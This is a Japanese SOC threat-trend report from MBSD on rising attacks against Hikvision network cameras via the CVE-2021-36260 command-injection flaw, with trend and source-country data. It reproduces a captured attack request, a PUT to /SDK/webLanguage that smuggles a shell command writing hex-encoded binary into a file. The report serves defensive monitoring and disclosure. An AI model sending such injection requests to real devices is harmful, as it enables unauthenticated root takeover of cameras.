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最新情報

2023.06.14

2023年5月度 MBSD-SOCの検知傾向トピックス

著者:MBSD-SOC

Hikvision製ネットワークカメラの脆弱性(CVE-2021-36260)を狙った攻撃

 今月は、Hikvision製ネットワークカメラの脆弱性を狙った攻撃が増加しました。本脆弱性は、20219月に公開されたOSコマンドインジェクションの脆弱性です。入力検証の不備により、認証なしでrootユーザとして任意のコードを実行されてしまう恐れがあります。

 弊社SOCでは、本脆弱性を狙った攻撃を断続的に観測していましたが、5/26()以降に検知数が増加しました。下図は、今年1月から5月末までの本脆弱性を狙った攻撃数の推移です。
Graph202305.png

 下図は、弊社SOCで実際に検知した攻撃のパケットペイロードです。/SDK/webLanguageに対するPUTリクエストにおいて、XMLの中にコマンドを挿入して実行を試みた通信となっています。

図. CVE-2021-36260の脆弱性を狙った攻撃検知例

PUT /SDK/webLanguage HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en US,en;q=0.9,sv;q=0.8
Host: www.example.co.jp
Content-Length: 211

<?xml version="1.0" encoding="UTF-8"?><language>$(echo -ne "\x00\x00\x00\xef\x01\x0a\x70\xe3\x00\x20\xa0\xe1\x00\x00\xa0\x91\x05\x00\x00\x9a\x1c\x30\x9f\xe5\x2c\x01\x00\xeb\x03\x30\x9f\xe7" >> update)</language>

 なお、5月におけるHikvision製ネットワークカメラの脆弱性(CVE-2021-36260)を狙った攻撃の攻撃元国の上位5件は以下の通りです。アメリカからの攻撃が大多数を占めていました。

表. CVE-2021-36260の脆弱性を狙った攻撃国上位5件(2023年5月)
# 国名 割合
1  アメリカ 81.9 % 
2  ドイツ 10.6 % 
3  日本 6.4 % 
4  フランス 2.6 % 
5  ルーマニア 1.3 % 

参考情報

マネージドサービス事業部
MBSD-SOC